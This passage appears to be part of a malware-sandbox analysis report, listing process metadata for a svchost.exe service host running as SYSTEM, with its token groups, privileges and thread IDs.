id = 197 os_tid = 0xa14 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 165 os_tid = 0x918 Thread: id = 166 os_tid = 0x5b4 Thread: id = 167 os_tid = 0x3a0 Thread: id = 168 os_tid = 0x658 Thread: id = 169 os_tid = 0x584 Thread: id = 170 os_tid = 0x728 Thread: id = 171 os_tid = 0x674 Thread: id = 172 os_tid = 0x65c Thread: id = 173 os_tid = 0x144 Thread: id = 174 os_tid = 0x118 Thread: id = 175 os_tid = 0x3ec Thread: id = 176 os_tid = 0x3e8 Thread: id = 177 os_tid = 0x3e0 Thread: id = 178 os_tid = 0x3dc Thread: id = 179 os_tid = 0x3cc Thread: id = 180 os_tid = 0x3c8 Thread: id = 181 os_tid = 0x388 Thread: id = 182 os_tid = 0x384 Thread: id = 183 os_tid = 0x380 Thread: id = 184 os_tid = 0x37c Thread: id = 185 os_tid = 0x364 Thread: id = 186 os_tid = 0x360 Thread: id = 187 os_tid = 0x34c Thread: id = 188 os_tid = 0x338 Thread: id = 194 os_tid = 0x920